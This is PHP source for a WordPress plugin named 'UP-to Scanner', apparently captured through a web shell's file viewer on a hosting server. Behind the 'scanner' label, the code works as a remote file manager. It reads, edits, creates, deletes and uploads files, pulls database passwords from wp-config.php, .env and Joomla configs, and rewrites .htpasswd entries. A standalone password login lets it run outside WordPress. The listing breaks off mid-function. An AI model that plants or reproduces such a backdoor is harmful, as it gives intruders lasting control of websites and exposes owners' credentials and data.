HEX
Server: LiteSpeed
System: Linux spg20.cloudpowerdns.com 5.14.0-611.35.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Feb 25 03:46:09 EST 2026 x86_64
User: carrerup (3153)
PHP: 8.2.30
Disabled: NONE
Upload Files
File: //proc/self/cwd/wp-content/plugins/UP-TO/up-to.php
<?php
/*
Plugin Name: UP-to Scanner
Description: Server tree scanner and config inspector inside WordPress admin.
Version: 1.0.0
Author: Local
*/

if (!function_exists('up_to_wp_mode')) {
    function up_to_wp_mode() {
        return defined('UP_TO_WP_MODE') && UP_TO_WP_MODE;
    }

    function up_to_wp_action_param() {
        return up_to_wp_mode() ? 'up_to_action' : 'action';
    }

    function up_to_wp_endpoint_url_value() {
        if (up_to_wp_mode() && defined('UP_TO_WP_ENDPOINT_URL')) {
            return UP_TO_WP_ENDPOINT_URL;
        }
        return isset($_SERVER['REQUEST_URI']) ? (string) $_SERVER['REQUEST_URI'] : '';
    }

    function up_to_wp_runtime_base_dir() {
        if (up_to_wp_mode() && defined('UP_TO_WP_RUNTIME_BASE_DIR')) {
            return UP_TO_WP_RUNTIME_BASE_DIR;
        }
        return dirname(__FILE__);
    }

    function up_to_wp_storage_base_dir() {
        if (up_to_wp_mode() && defined('UP_TO_WP_STORAGE_DIR')) {
            return UP_TO_WP_STORAGE_DIR;
        }
        return dirname(__FILE__) . '/data';
    }
}

if (defined('ABSPATH') && !function_exists('up_to_wp_register_admin_page')) {
    function up_to_wp_get_app_url() {
        return wp_nonce_url(admin_url('admin-post.php?action=up_to_scanner_app'), 'up_to_scanner_app');
    }

    function up_to_wp_register_admin_page() {
        add_management_page('UP-to Scanner', 'UP-to Scanner', 'manage_options', 'up-to-scanner', 'up_to_wp_render_admin_page');
    }

    function up_to_wp_render_admin_page() {
        if (!current_user_can('manage_options')) {
            wp_die(esc_html__('You do not have permission to access this page.', 'up-to-scanner'));
        }
        $src = up_to_wp_get_app_url();
        echo '<div class="wrap">';
        echo '<h1>UP-to Scanner</h1>';
        echo '<p>Standalone scanner is loaded below inside a secure WordPress admin endpoint.</p>';
        echo '<iframe src="' . esc_url($src) . '" style="width:100%;min-height:85vh;border:1px solid #ccd0d4;border-radius:8px;background:#fff;"></iframe>';
        echo '</div>';
    }

    function up_to_wp_handle_app_request() {
        if (!current_user_can('manage_options')) {
            wp_die(esc_html__('You do not have permission to access this page.', 'up-to-scanner'));
        }
        check_admin_referer('up_to_scanner_app');

        if (!defined('UP_TO_WP_MODE')) {
            define('UP_TO_WP_MODE', true);
        }
        if (!defined('UP_TO_WP_ENDPOINT_URL')) {
            define('UP_TO_WP_ENDPOINT_URL', up_to_wp_get_app_url());
        }
        if (!defined('UP_TO_WP_RUNTIME_BASE_DIR')) {
            $runtime_base = realpath(ABSPATH);
            define('UP_TO_WP_RUNTIME_BASE_DIR', $runtime_base !== false ? $runtime_base : ABSPATH);
        }
        if (!defined('UP_TO_WP_STORAGE_DIR')) {
            $uploads = wp_upload_dir();
            $storage_dir = trailingslashit($uploads['basedir']) . 'up-to-scanner';
            if (!is_dir($storage_dir)) {
                wp_mkdir_p($storage_dir);
            }
            define('UP_TO_WP_STORAGE_DIR', $storage_dir);
        }
        if (!empty($_REQUEST['up_to_action'])) {
            $_POST['action'] = (string) $_REQUEST['up_to_action'];
        }
        nocache_headers();
        up_to_run_app();
        exit;
    }

    add_action('admin_menu', 'up_to_wp_register_admin_page');
    add_action('admin_post_up_to_scanner_app', 'up_to_wp_handle_app_request');
}

function up_to_run_app() {
ini_set('display_errors', 1);
error_reporting(E_ALL);
if (!isset($_POST['action']) || $_POST['action'] !== 'dump_database') {
    header('Content-Type: text/html; charset=UTF-8');
}

if (!up_to_wp_mode() && session_status() === PHP_SESSION_NONE) {
    session_start();
}

/**
 * Пароль доступа к скрипту.
 * Сменить: _APP_PWD_CIPHER в app_password_expected_hash()
 * (base64_encode(hash('sha256', 'ВАШ_ПАРОЛЬ' . 'u2_scan_v1', true))).
 */
function app_pwd_salt() {
    return 'u2_scan_v1';
}
function app_password_expected_hash() {
    $_APP_PWD_CIPHER = 'jrtPERdtkXcEmCeeXg7cImVOVpGesDxXCl7Yoq6ALr0=';
    $raw = base64_decode($_APP_PWD_CIPHER, true);
    return ($raw !== false && strlen($raw) === 32) ? $raw : '';
}
function app_verify_password($plain) {
    $expected = app_password_expected_hash();
    if ($expected === '') return false;
    $actual = hash('sha256', (string) $plain . app_pwd_salt(), true);
    return hash_equals($expected, $actual);
}
function app_auth_token() {
    return hash('sha256', app_password_expected_hash() . '|' . session_id() . '|' . up_to_wp_runtime_base_dir());
}
function app_is_authenticated() {
    if (up_to_wp_mode()) return true;
    return !empty($_SESSION['up_to_auth']) && hash_equals(app_auth_token(), (string) $_SESSION['up_to_auth']);
}
function app_login($password) {
    if (!app_verify_password($password)) return false;
    $_SESSION['up_to_auth'] = app_auth_token();
    return true;
}
function app_logout() {
    unset($_SESSION['up_to_auth']);
}
function app_auth_fail_json() {
    header('Content-Type: application/json; charset=UTF-8');
    echo json_encode(array('success' => false, 'error' => 'Требуется авторизация'));
    exit;
}
function app_render_login_page($error = '') {
    header('Content-Type: text/html; charset=UTF-8');
    $err = $error !== '' ? '<p class="login-err">' . h($error) . '</p>' : '';
    echo '<!doctype html><html lang="ru"><head><meta charset="UTF-8"><title>Вход</title>'
        . '<meta name="viewport" content="width=device-width,initial-scale=1">'
        . '<style>body{font-family:Segoe UI,Arial,sans-serif;background:#f0f4f8;display:flex;align-items:center;justify-content:center;min-height:100vh;margin:0}'
        . '.login-box{background:#fff;padding:32px 36px;border-radius:12px;box-shadow:0 4px 24px rgba(0,0,0,.12);max-width:400px;width:100%}'
        . 'h1{font-size:18px;margin:0 0 8px}p.hint{font-size:12px;color:#666;margin:0 0 20px;line-height:1.5}'
        . 'label{font-size:12px;font-weight:600;color:#555}input{width:100%;padding:10px 12px;border:1px solid #ccc;border-radius:6px;font-size:14px;margin:6px 0 16px}'
        . 'button{width:100%;padding:11px;background:#1565c0;color:#fff;border:none;border-radius:6px;font-size:14px;cursor:pointer}'
        . 'button:hover{background:#0d47a1}.login-err{background:#ffebee;color:#c62828;padding:8px 12px;border-radius:6px;font-size:12px;margin-bottom:12px}'
        . 'code{font-size:11px;background:#f5f5f5;padding:2px 6px;border-radius:3px}</style></head><body>'
        . '<div class="login-box"><h1>🔒 Site Scanner</h1>'
        . $err
        . '<form method="post"><input type="hidden" name="action" value="app_login">'
        . '<label>Пароль</label><input type="password" name="password" autofocus required autocomplete="current-password">'
        . '<button type="submit">Войти</button></form></div></body></html>';
    exit;
}

if (isset($_POST['action']) && $_POST['action'] === 'app_login') {
    $pwd = isset($_POST['password']) ? (string) $_POST['password'] : '';
    if (app_login($pwd)) {
        header('Location: ' . (isset($_SERVER['REQUEST_URI']) ? strtok($_SERVER['REQUEST_URI'], '?') : ''));
        exit;
    }
    app_render_login_page('Неверный пароль');
}
if (isset($_GET['logout'])) {
    app_logout();
    header('Location: ' . (isset($_SERVER['SCRIPT_NAME']) ? $_SERVER['SCRIPT_NAME'] : ''));
    exit;
}
if (isset($_POST['action']) && $_POST['action'] !== 'app_login' && !app_is_authenticated()) {
    app_auth_fail_json();
}

function h($s) {
    return htmlspecialchars($s, ENT_QUOTES, 'UTF-8');
}

function site_state_normalize_path($path) {
    $path = str_replace('\\', '/', trim((string) $path));
    $path = preg_replace('#/+#', '/', $path);
    if ($path === '') return '';
    $real = @realpath($path);
    if ($real !== false) {
        $real = str_replace('\\', '/', $real);
        return rtrim($real, '/');
    }
    return rtrim($path, '/');
}
function site_state_key($path, $name = '') {
    $norm = site_state_normalize_path($path);
    if ($norm !== '') return 'p:' . md5($norm);
    $name = trim((string) $name);
    if ($name !== '') return 'n:' . md5(strtolower($name));
    return '';
}
function site_state_file_path() {
    static $resolved = null;
    if ($resolved !== null) return $resolved;
    $dir = up_to_wp_storage_base_dir();
    if (!is_dir($dir)) {
        @mkdir($dir, 0755, true);
    }
    $candidates = array(
        $dir . '/sites-state.json',
    );
    if (!up_to_wp_mode() && function_exists('sys_get_temp_dir')) {
        $tmp = sys_get_temp_dir();
        if ($tmp) {
            $candidates[] = rtrim(str_replace('\\', '/', $tmp), '/') . '/up-to-sites-state-' . md5(__FILE__) . '.json';
        }
    }
    foreach ($candidates as $file) {
        if (is_file($file) && is_writable($file)) {
            $resolved = $file;
            return $resolved;
        }
    }
    foreach ($candidates as $file) {
        $parent = dirname($file);
        if (is_dir($parent) && is_writable($parent)) {
            $resolved = $file;
            return $resolved;
        }
    }
    $resolved = $candidates[0];
    return $resolved;
}
function site_states_migrate($data) {
    $out = array();
    foreach ($data as $k => $v) {
        if (!is_array($v)) continue;
        if (strpos((string) $k, 'p:') === 0 || strpos((string) $k, 'n:') === 0) {
            $out[$k] = $v;
            continue;
        }
        $legacyPath = is_string($k) ? $k : '';
        if ($legacyPath === '' && !empty($v['path_norm'])) {
            $legacyPath = $v['path_norm'];
        }
        if ($legacyPath === '') continue;
        $nk = site_state_key($legacyPath, isset($v['name']) ? $v['name'] : '');
        if ($nk === '') continue;
        if (!isset($out[$nk])) $out[$nk] = $v;
        else $out[$nk] = array_merge($out[$nk], $v);
        if (empty($out[$nk]['path_norm'])) {
            $out[$nk]['path_norm'] = site_state_normalize_path($legacyPath);
        }
    }
    return $out;
}
function load_site_states() {
    $path = site_state_file_path();
    if (!is_file($path)) return array();
    $raw = @file_get_contents($path);
    if ($raw === false || trim($raw) === '') return array();
    $data = json_decode($raw, true);
    if (!is_array($data)) return array();
    return site_states_migrate($data);
}
function save_site_states($data) {
    $path = site_state_file_path();
    $json = json_encode($data, JSON_PRETTY_PRINT | JSON_UNESCAPED_UNICODE);
    if ($json === false) return false;
    $parent = dirname($path);
    if (!is_dir($parent)) {
        @mkdir($parent, 0755, true);
    }
    $written = @file_put_contents($path, $json . "\n", LOCK_EX);
    if ($written === false) {
        $written = @file_put_contents($path, $json . "\n");
    }
    return $written !== false;
}
function site_state_touch_entry(&$states, $key, $path, $name = '') {
    if ($key === '') return;
    if (!isset($states[$key]) || !is_array($states[$key])) {
        $states[$key] = array();
    }
    $norm = site_state_normalize_path($path);
    if ($norm !== '') $states[$key]['path_norm'] = $norm;
    if ($name !== '') $states[$key]['name'] = $name;
}
function merge_site_saved_state(&$site, $states) {
    $key = site_state_key($site['path'], isset($site['name']) ? $site['name'] : '');
    if ($key === '' || !isset($states[$key]) || !is_array($states[$key])) {
        $site['db_creds_manual'] = false;
        return;
    }
    $st = $states[$key];
    if (!empty($st['db_creds']) && is_array($st['db_creds'])) {
        $manual = merge_db_credentials(db_credentials_empty(), $st['db_creds']);
        if (db_credentials_is_complete($manual)) {
            $site['db_creds'] = $manual;
            $site['has_db_creds'] = true;
            $site['db_creds_manual'] = true;
        }
    } else {
        $site['db_creds_manual'] = false;
    }
}

// Статусы сайтов — отдельный простой JSON (по ключу папки), не смешиваем с db_creds
function site_status_file_path() {
    static $resolved = null;
    if ($resolved !== null) return $resolved;
    $dir = up_to_wp_storage_base_dir();
    if (!is_dir($dir)) {
        @mkdir($dir, 0755, true);
    }
    $resolved = $dir . '/site-statuses.json';
    return $resolved;
}
function site_status_allowed($status) {
    return in_array($status, array('pending', 'ok', 'off', 'unknown'), true);
}
function site_status_storage_key($site, $name_counts = null) {
    $name = isset($site['name']) ? trim((string) $site['name']) : '';
    if ($name === '') return '';
    if ($name_counts !== null && isset($name_counts[$name]) && $name_counts[$name] > 1) {
        $norm = site_state_normalize_path(isset($site['path']) ? $site['path'] : '');
        return $name . '::' . substr(md5($norm), 0, 8);
    }
    return $name;
}
function load_site_statuses() {
    $path = site_status_file_path();
    if (!is_file($path)) {
        return site_statuses_migrate_from_legacy_state();
    }
    $raw = @file_get_contents($path);
    if ($raw === false || trim($raw) === '') return array();
    $data = json_decode($raw, true);
    if (!is_array($data)) return array();
    if (isset($data['sites']) && is_array($data['sites'])) {
        return $data['sites'];
    }
    return $data;
}
function save_site_statuses_map($sites_map) {
    $clean = array();
    foreach ($sites_map as $key => $status) {
        $key = trim((string) $key);
        if ($key === '') continue;
        $status = trim((string) $status);
        if (!site_status_allowed($status)) continue;
        $clean[$key] = $status;
    }
    $payload = array(
        'version' => 1,
        'updated' => gmdate('c'),
        'sites'   => $clean,
    );
    $path = site_status_file_path();
    $parent = dirname($path);
    if (!is_dir($parent)) {
        @mkdir($parent, 0755, true);
    }
    $json = json_encode($payload, JSON_PRETTY_PRINT | JSON_UNESCAPED_UNICODE);
    if ($json === false) return false;
    $written = @file_put_contents($path, $json . "\n", LOCK_EX);
    if ($written === false) {
        $written = @file_put_contents($path, $json . "\n");
    }
    return $written !== false;
}
function site_statuses_migrate_from_legacy_state() {
    $legacy = load_site_states();
    $imported = array();
    foreach ($legacy as $st) {
        if (!is_array($st) || !array_key_exists('site_active', $st)) continue;
        $name = !empty($st['name']) ? trim((string) $st['name']) : '';
        if ($name === '') continue;
        $imported[$name] = $st['site_active'] ? 'ok' : 'off';
    }
    if (!empty($imported)) {
        save_site_statuses_map($imported);
    }
    return $imported;
}
function merge_site_status(&$site, $statuses, $name_counts = null) {
    $key = site_status_storage_key($site, $name_counts);
    $site['status_key'] = $key;
    $status = ($key !== '' && isset($statuses[$key])) ? $statuses[$key] : 'pending';
    if (!site_status_allowed($status)) $status = 'pending';
    $site['status'] = $status;
    $site['site_active'] = ($status === 'ok');
}
function site_status_label($status) {
    $labels = array(
        'pending' => 'Ожидает',
        'ok'      => 'Работает',
        'off'     => 'Не работает',
        'unknown' => 'Не проверен',
    );
    return isset($labels[$status]) ? $labels[$status] : $labels['pending'];
}
function site_db_info_rows($site) {
    $rows = array();
    $c = !empty($site['db_creds']) ? $site['db_creds'] : array();
    $map = array(
        'DB host'    => isset($c['db_host']) ? $c['db_host'] . (isset($c['db_port']) ? ':' . $c['db_port'] : '') : '',
        'DB name'    => isset($c['db_name']) ? $c['db_name'] : '',
        'DB user'    => isset($c['db_user']) ? $c['db_user'] : '',
        'DB password'=> isset($c['db_pass']) ? $c['db_pass'] : '',
        'DB charset' => isset($c['db_charset']) ? $c['db_charset'] : '',
    );
    foreach ($map as $label => $val) {
        if ($val !== '' && $val !== null) $rows[] = array('k' => $label, 'v' => $val, 'secret' => stripos($label, 'password') !== false);
    }
    if (!empty($site['wp_vars'])) {
        foreach ($site['wp_vars'] as $k => $v) {
            if (preg_match('/^DB_/i', $k)) $rows[] = array('k' => $k . ' (wp)', 'v' => $v, 'secret' => stripos($k, 'PASSWORD') !== false);
        }
    }
    if (!empty($site['env_vars'])) {
        foreach (array('DB_HOST','DB_DATABASE','DB_NAME','DB_USERNAME','DB_USER','DB_PASSWORD','DB_CHARSET') as $ek) {
            if (!empty($site['env_vars'][$ek])) {
                $rows[] = array('k' => $ek . ' (.env)', 'v' => $site['env_vars'][$ek], 'secret' => preg_match('/PASSWORD|SECRET/i', $ek));
            }
        }
    }
    if (!empty($site['joo_vars'])) {
        foreach (array('host' => 'DB host (Joomla)', 'db' => 'DB name (Joomla)', 'user' => 'DB user (Joomla)', 'password' => 'DB password (Joomla)') as $jk => $lbl) {
            if (!empty($site['joo_vars'][$jk])) {
                $rows[] = array('k' => $lbl, 'v' => $site['joo_vars'][$jk], 'secret' => $jk === 'password');
            }
        }
    }
    return $rows;
}

// === APR1-MD5 ===
function apr1_md5($password, $salt = null) {
    if ($salt === null)
        $salt = substr(str_shuffle('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'), 0, 8);
    $salt = substr($salt, 0, 8);
    $len  = strlen($password);
    $text = $password . '$apr1$' . $salt;
    $bin  = md5($password . $salt . $password, true);
    for ($i = $len; $i > 0; $i -= 16) $text .= substr($bin, 0, min(16, $i));
    for ($i = $len; $i > 0; $i >>= 1) $text .= ($i & 1) ? chr(0) : $password[0];
    $bin = md5($text, true);
    for ($i = 0; $i < 1000; $i++) {
        $new = ($i & 1) ? $password : $bin;
        if ($i % 3) $new .= $salt;
        if ($i % 7) $new .= $password;
        $new .= ($i & 1) ? $bin : $password;
        $bin = md5($new, true);
    }
    $tmp = ''; $map = array(array(0,6,12),array(1,7,13),array(2,8,14),array(3,9,15),array(4,10,5),array(11));
    foreach ($map as $g) {
        if (count($g) === 3) { $v = (ord($bin[$g[0]])<<16)|(ord($bin[$g[1]])<<8)|ord($bin[$g[2]]); $tmp .= apr1_to64($v,4); }
        else { $v = ord($bin[$g[0]]); $tmp .= apr1_to64($v,2); }
    }
    return '$apr1$' . $salt . '$' . $tmp;
}
function apr1_to64($v, $n) {
    $chars = './0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz';
    $ret = '';
    for ($i = 0; $i < $n; $i++) { $ret .= $chars[$v & 0x3f]; $v >>= 6; }
    return $ret;
}

// === AJAX: просмотр файла ===
if (isset($_POST['action']) && $_POST['action'] === 'view_file') {
    header('Content-Type: application/json');
    $file_path = isset($_POST['file_path']) ? trim($_POST['file_path']) : '';
    $site_root = isset($_POST['site_root']) ? trim($_POST['site_root']) : '';
    if (!$file_path) { echo json_encode(array('success'=>false,'error'=>'Путь не указан')); exit; }
    $real_file = realpath($file_path);
    if ($site_root) {
        $real_root = realpath($site_root);
        if (!$real_file || !$real_root || strpos($real_file, $real_root) !== 0) {
            echo json_encode(array('success'=>false,'error'=>'Доступ запрещён')); exit;
        }
    } else {
        $allowed_names = array('.htaccess','.htpasswd','.env','wp-config.php','configuration.php','.user.ini','xmlrpc.php');
        if (!$real_file || !in_array(basename($real_file), $allowed_names, true)) {
            echo json_encode(array('success'=>false,'error'=>'Файл не разрешён для просмотра')); exit;
        }
    }
    if (!is_file($real_file)) { echo json_encode(array('success'=>false,'error'=>'Не файл')); exit; }
    $size = filesize($real_file);
    if ($size > 512 * 1024) { echo json_encode(array('success'=>false,'error'=>'Файл слишком большой ('.round($size/1024).' KB)')); exit; }
    $content = @file_get_contents($real_file);
    if ($content === false) { echo json_encode(array('success'=>false,'error'=>'Нет доступа к файлу')); exit; }
    echo json_encode(array('success'=>true,'content'=>$content,'filename'=>basename($real_file)));
    exit;
}

// === AJAX: список файлов ===
if (isset($_POST['action']) && $_POST['action'] === 'list_files') {
    header('Content-Type: application/json');
    $dir       = isset($_POST['dir'])       ? $_POST['dir']       : '';
    $site_root = isset($_POST['site_root']) ? $_POST['site_root'] : '';
    $real_dir  = realpath($dir);
    $real_root = realpath($site_root);
    if (!$real_dir || !$real_root || strpos($real_dir, $real_root) !== 0) {
        echo json_encode(array('success'=>false,'error'=>'Доступ запрещён')); exit;
    }
    if (!is_dir($real_dir)) { echo json_encode(array('success'=>false,'error'=>'Не директория')); exit; }
    $items = @scandir($real_dir);
    if ($items === false) { echo json_encode(array('success'=>false,'error'=>'Нет доступа')); exit; }
    $result = array();
    foreach ($items as $item) {
        if ($item === '.') continue;
        $full   = $real_dir . '/' . $item;
        $is_dir = is_dir($full);
        $size   = $is_dir ? null : @filesize($full);
        $mtime  = @filemtime($full);
        $result[] = array(
            'name'   => $item,
            'path'   => $full,
            'is_dir' => $is_dir,
            'size'   => $size,
            'mtime'  => $mtime ? date('d.m.Y H:i', $mtime) : '',
            'ext'    => $is_dir ? '' : strtolower(pathinfo($item, PATHINFO_EXTENSION)),
        );
    }
    usort($result, function($a, $b) {
        if ($a['is_dir'] !== $b['is_dir']) return $a['is_dir'] ? -1 : 1;
        if ($a['name'] === '..') return -1;
        if ($b['name'] === '..') return 1;
        return strcasecmp($a['name'], $b['name']);
    });
    echo json_encode(array('success'=>true,'items'=>$result,'current'=>$real_dir,'root'=>$real_root));
    exit;
}

// === AJAX: чтение файла (файловый менеджер) ===
if (isset($_POST['action']) && $_POST['action'] === 'read_file') {
    header('Content-Type: application/json');
    $file_path = isset($_POST['file_path']) ? trim($_POST['file_path']) : '';
    $site_root = isset($_POST['site_root']) ? trim($_POST['site_root']) : '';
    $real_file = realpath($file_path);
    $real_root = realpath($site_root);
    if (!$real_file || !$real_root || strpos($real_file, $real_root) !== 0) {
        echo json_encode(array('success'=>false,'error'=>'Доступ запрещён')); exit;
    }
    if (!is_file($real_file)) { echo json_encode(array('success'=>false,'error'=>'Не файл')); exit; }
    $size = filesize($real_file);
    if ($size > 512 * 1024) {
        echo json_encode(array('success'=>false,'error'=>'Файл слишком большой (>'.round($size/1024).' KB)')); exit;
    }
    $content = @file_get_contents($real_file);
    if ($content === false) { echo json_encode(array('success'=>false,'error'=>'Нет доступа')); exit; }
    echo json_encode(array('success'=>true,'content'=>$content,'filename'=>basename($real_file),'size'=>$size,'writable'=>is_writable($real_file)));
    exit;
}

// === AJAX: сохранение файла ===
if (isset($_POST['action']) && $_POST['action'] === 'save_file') {
    header('Content-Type: application/json');
    $file_path = isset($_POST['file_path']) ? trim($_POST['file_path']) : '';
    $site_root = isset($_POST['site_root']) ? trim($_POST['site_root']) : '';
    $content   = isset($_POST['content'])   ? $_POST['content']         : '';
    $real_file = realpath($file_path);
    $real_root = realpath($site_root);
    if (!$real_file || !$real_root || strpos($real_file, $real_root) !== 0) {
        echo json_encode(array('success'=>false,'error'=>'Доступ запрещён')); exit;
    }
    if (!is_file($real_file)) { echo json_encode(array('success'=>false,'error'=>'Не файл')); exit; }
    if (!is_writable($real_file)) { echo json_encode(array('success'=>false,'error'=>'Файл недоступен для записи')); exit; }
    $result = file_put_contents($real_file, $content);
    if ($result === false) { echo json_encode(array('success'=>false,'error'=>'Ошибка записи')); exit; }
    echo json_encode(array('success'=>true,'bytes'=>$result));
    exit;
}

// === AJAX: создание файла ===
if (isset($_POST['action']) && $_POST['action'] === 'create_file') {
    header('Content-Type: application/json');
    $dir_path  = isset($_POST['dir_path'])  ? trim($_POST['dir_path'])  : '';
    $file_name = isset($_POST['file_name']) ? trim($_POST['file_name']) : '';
    $content   = isset($_POST['content'])   ? $_POST['content']         : '';
    $site_root = isset($_POST['site_root']) ? trim($_POST['site_root']) : '';
    if (!$dir_path || !$file_name) {
        echo json_encode(array('success'=>false,'error'=>'Не все параметры переданы')); exit;
    }
    $real_dir  = realpath($dir_path);
    $real_root = realpath($site_root);
    if (!$real_dir || !$real_root || strpos($real_dir, $real_root) !== 0) {
        echo json_encode(array('success'=>false,'error'=>'Доступ запрещён')); exit;
    }
    if (!is_dir($real_dir)) { echo json_encode(array('success'=>false,'error'=>'Не директория')); exit; }
    if (!is_writable($real_dir)) { echo json_encode(array('success'=>false,'error'=>'Директория недоступна для записи')); exit; }
    // Безопасное имя файла
    $file_name = preg_replace('/[\/\\\\:*?"<>|]/', '_', $file_name);
    $file_name = trim($file_name);
    if ($file_name === '' || $file_name === '.' || $file_name === '..') {
        echo json_encode(array('success'=>false,'error'=>'Недопустимое имя файла')); exit;
    }
    $new_file = $real_dir . '/' . $file_name;
    if (file_exists($new_file)) {
        echo json_encode(array('success'=>false,'error'=>'Файл уже существует')); exit;
    }
    $result = file_put_contents($new_file, $content);
    if ($result === false) {
        echo json_encode(array('success'=>false,'error'=>'Ошибка создания файла')); exit;
    }
    echo json_encode(array('success'=>true,'file_path'=>$new_file,'file_name'=>$file_name,'bytes'=>$result));
    exit;
}

// === AJAX: загрузка и распаковка архива (.zip) ===
if (isset($_POST['action']) && $_POST['action'] === 'upload_archive') {
    header('Content-Type: application/json');
    $dir_path  = isset($_POST['dir_path'])  ? trim($_POST['dir_path'])  : '';
    $site_root = isset($_POST['site_root']) ? trim($_POST['site_root']) : '';
    $real_dir  = realpath($dir_path);
    $real_root = realpath($site_root);
    if (!$real_dir || !$real_root || strpos($real_dir, $real_root) !== 0) {
        echo json_encode(array('success'=>false,'error'=>'Доступ запрещён')); exit;
    }
    if (!is_dir($real_dir)) { echo json_encode(array('success'=>false,'error'=>'Не директория')); exit; }
    if (!is_writable($real_dir)) { echo json_encode(array('success'=>false,'error'=>'Директория недоступна для записи')); exit; }
    if (!isset($_FILES['archive'])) { echo json_encode(array('success'=>false,'error'=>'Архив не передан')); exit; }
    $file = $_FILES['archive'];
    if (!isset($file['error']) || $file['error'] !== UPLOAD_ERR_OK) {
        echo json_encode(array('success'=>false,'error'=>'Ошибка загрузки архива')); exit;
    }
    $orig_name = isset($file['name']) ? basename($file['name']) : 'archive.zip';
    $ext = strtolower(pathinfo($orig_name, PATHINFO_EXTENSION));
    if ($ext !== 'zip') {
        echo json_encode(array('success'=>false,'error'=>'Поддерживаются только .zip архивы')); exit;
    }
    if (!class_exists('ZipArchive')) {
        echo json_encode(array('success'=>false,'error'=>'Расширение ZipArchive недоступно на сервере')); exit;
    }
    $zip = new ZipArchive();
    $open_res = $zip->open($file['tmp_name']);
    if ($open_res !== true) {
        echo json_encode(array('success'=>false,'error'=>'Не удалось открыть архив')); exit;
    }

    $files_count = 0;
    for ($i = 0; $i < $zip->numFiles; $i++) {
        $entry = $zip->getNameIndex($i);
        if ($entry === false) continue;
        $entry = str_replace('\\', '/', $entry);
        if ($entry === '' || substr($entry, -1) === '/') continue;
        if (preg_match('/^\//', $entry) || preg_match('/^[A-Za-z]:\//', $entry)) {
            $zip->close();
            echo json_encode(array('success'=>false,'error'=>'Недопустимый путь в архиве')); exit;
        }
        $parts = explode('/', $entry);
        foreach ($parts as $part) {
            if ($part === '' || $part === '.' || $part === '..') {
                $zip->close();
                echo json_encode(array('success'=>false,'error'=>'Архив содержит небезопасные пути')); exit;
            }
        }
        $files_count++;
    }

    if (!$zip->extractTo($real_dir)) {
        $zip->close();
        echo json_encode(array('success'=>false,'error'=>'Ошибка распаковки архива')); exit;
    }
    $zip->close();

    echo json_encode(array(
        'success' => true,
        'archive' => $orig_name,
        'files'   => $files_count
    ));
    exit;
}

// === AJAX: переименование ===
if (isset($_POST['action']) && $_POST['action'] === 'rename_item') {
    header('Content-Type: application/json');
    $old_path  = isset($_POST['old_path'])  ? trim($_POST['old_path'])  : '';
    $new_name  = isset($_POST['new_name'])  ? trim($_POST['new_name'])  : '';
    $site_root = isset($_POST['site_root']) ? trim($_POST['site_root']) : '';
    if (!$old_path || !$new_name) {
        echo json_encode(array('success'=>false,'error'=>'Не все параметры переданы')); exit;
    }
    $real_old = realpath($old_path);
    $real_root = realpath($site_root);
    if (!$real_old || !$real_root || strpos($real_old, $real_root) !== 0) {
        echo json_encode(array('success'=>false,'error'=>'Доступ запрещён')); exit;
    }
    $new_name = preg_replace('/[\/\\\\:*?"<>|]/', '_', $new_name);
    $new_name = trim($new_name);
    if ($new_name === '' || $new_name === '.' || $new_name === '..') {
        echo json_encode(array('success'=>false,'error'=>'Недопустимое имя')); exit;
    }
    $new_path = dirname($real_old) . '/' . $new_name;
    if ($real_old === $new_path) {
        echo json_encode(array('success'=>true,'new_path'=>$new_path,'new_name'=>$new_name)); exit;
    }
    if (file_exists($new_path)) {
        echo json_encode(array('success'=>false,'error'=>'Файл/папка с таким именем уже существует')); exit;
    }
    if (!is_writable($real_old) && !is_writable(dirname($real_old))) {
        echo json_encode(array('success'=>false,'error'=>'Нет прав на переименование')); exit;
    }
    if (!@rename($real_old, $new_path)) {
        echo json_encode(array('success'=>false,'error'=>'Ошибка переименования')); exit;
    }
    echo json_encode(array('success'=>true,'new_path'=>$new_path,'new_name'=>$new_name));
    exit;
}

// === AJAX: удаление ===
if (isset($_POST['action']) && $_POST['action'] === 'delete_item') {
    header('Content-Type: application/json');
    $item_path = isset($_POST['item_path']) ? trim($_POST['item_path']) : '';
    $site_root = isset($_POST['site_root']) ? trim($_POST['site_root']) : '';
    if (!$item_path) {
        echo json_encode(array('success'=>false,'error'=>'Путь не указан')); exit;
    }
    $real_item = realpath($item_path);
    $real_root = realpath($site_root);
    if (!$real_item || !$real_root || strpos($real_item, $real_root) !== 0) {
        echo json_encode(array('success'=>false,'error'=>'Доступ запрещён')); exit;
    }
    if (!is_writable($real_item) && !is_writable(dirname($real_item))) {
        echo json_encode(array('success'=>false,'error'=>'Нет прав на удаление')); exit;
    }
    $is_dir = is_dir($real_item);
    if ($is_dir) {
        $it = new RecursiveDirectoryIterator($real_item, RecursiveDirectoryIterator::SKIP_DOTS);
        $files = new RecursiveIteratorIterator($it, RecursiveIteratorIterator::CHILD_FIRST);
        foreach ($files as $file) {
            if ($file->isDir()) { @rmdir($file->getRealPath()); }
            else { @unlink($file->getRealPath()); }
        }
        if (!@rmdir($real_item)) {
            echo json_encode(array('success'=>false,'error'=>'Ошибка удаления папки')); exit;
        }
    } else {
        if (!@unlink($real_item)) {
            echo json_encode(array('success'=>false,'error'=>'Ошибка удаления файла')); exit;
        }
    }
    echo json_encode(array('success'=>true,'is_dir'=>$is_dir));
    exit;
}

// === AJAX: смена пароля ===
if (isset($_POST['action']) && $_POST['action'] === 'change_password') {
    header('Content-Type: application/json');
    $htpasswd_path = isset($_POST['htpasswd_path']) ? trim($_POST['htpasswd_path']) : '';
    $username      = isset($_POST['username'])      ? trim($_POST['username'])      : '';
    $new_password  = isset($_POST['new_password'])  ? $_POST['new_password']        : '';
    if (!$htpasswd_path || !$username || !$new_password) {
        echo json_encode(array('success'=>false,'error'=>'Не все параметры переданы')); exit;
    }
    if (!file_exists($htpasswd_path)) { echo json_encode(array('success'=>false,'error'=>'Файл не найден')); exit; }
    if (!is_writable($htpasswd_path)) { echo json_encode(array('success'=>false,'error'=>'Файл недоступен для записи')); exit; }
    $lines = @file($htpasswd_path, FILE_IGNORE_NEW_LINES);
    if ($lines === false) { echo json_encode(array('success'=>false,'error'=>'Не удалось прочитать файл')); exit; }
    $new_hash = apr1_md5($new_password);
    $found = false; $new_lines = array();
    foreach ($lines as $line) {
        $line = trim($line); if ($line === '') continue;
        if (strpos($line, ':') !== false) {
            list($u) = explode(':', $line, 2);
